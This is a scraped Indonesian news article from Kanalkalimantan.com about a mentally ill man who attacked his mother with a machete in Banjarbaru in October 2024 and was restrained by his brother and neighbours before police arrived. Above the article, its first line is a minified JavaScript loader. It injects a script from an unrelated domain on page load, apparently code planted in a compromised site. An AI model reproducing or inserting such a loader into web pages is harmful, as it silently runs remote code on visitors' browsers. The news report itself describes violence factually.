(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Naas dialami seorang ibu rumah tangga di Jalan Batu Besi RT 34 RW 05, Kelurahan Guntung Manggis, Kecamatan Landasan Ulin, Selasa (22/10/2024) sore.
Tepat di rumahnya, seorang perempuan dikabarkan menjadi korban penyerangan oleh anak kandung sendiri dengan menggunakan senjata tajam (sajam) jenis parang.
Kejadian ini sempat membuat warga geger hingga pelaku diamankan, kemudian dilaporkan kepada pihak berwajib.
Kapolsek Liang Anggang, Kompol Yuda Kumoro Pardede membeberkan, anak tersebut berjenis kelamin laki-laki, diduga memiliki gangguan kejiwaaan.
Baca juga: Nasib Pegunungan Meratus Era Menteri LH Baru dan Janji Prabowo-Gibran
Dirinya menjelaskan, peristiwa terjadi saat pelaku S (32), tiba-tiba datang ke rumah orangtuanya di Jalan Batu Besi tersebut sekitar pukul 17.00 Wita.
“Tanpa ada alasan yang jelas pelaku langsung merusak etalase jualan milik ibunya yang ada di warung,” ungkap Kompol Yuda Kumoro Pardede, Selasa (22/10/2024) malam.
Saat kejadian itu, posisi ibu dan pelaku berada di warung tersebut. Saat melihat ibunya, tiba-tiba saja pelaku langsung melakukan penyerangan dengan cara menebas menggunakan parang.
Baca juga: Modus ‘Juru Parkir’ MSR Curi Dua Mobil di Kampus ULM Banjarbaru
“Pelaku menebas ibunya dengan menggunakan senjata tajam, sehingga ibu dari pelaku tersebut mengalami luka pada bagian kepala bagian depan, dan mengenai tangan atau jari sebelah kanan,” jelas dia.
Di sisi lain, adik dari pelaku yang melihat kejadian itu datang untuk melerai. Sang adik memegangi sajam yang dipegang oleh kakaknya dan kemudian berusaha merebut sajam itu dari tangan pelaku.
Setelah terjadi perebutan senjata tajam akhirnya parang berhasil diambil oleh adik pelaku dan kemudian langsung dibuang di semak-semak.
“Usai kejadian itu spontan warga berdatangan untuk menangkap pelaku,” terang Kapolsek.
Setelah berhasil diamankan warga, pelaku kemudian diikat menggunakan tali agar tidak kabur, sebelum petugas kepolisian datang ke lokasi kejadian.
Baca juga: Berhadiah Rp480 Juta, Pendaftaran PLN Journalist Award 2024 Masih Terbuka
Sementara itu ibu kandung dan adik pelaku langsung dibawa ke Rumah Sakit Daerah Idaman Banjarbaru guna mendapatkan perawatan medis.
Adapun barang bukti yang berhasil diamankan adalah sebilah sajam jenis parang, serta sepasang kaos kaki yang terdapat percikan darah yang dipakai pelaku. Sedangkan pelaku saat ini sudah diamankan oleh petugas Polsek Liang Anggang.
“Diketahui pelaku mengidap gangguan jiwa dan lebih dari satu kali dirawat di RSJ Sambang Lihum,” tuntas Kapolsek. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More
KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More
This website uses cookies.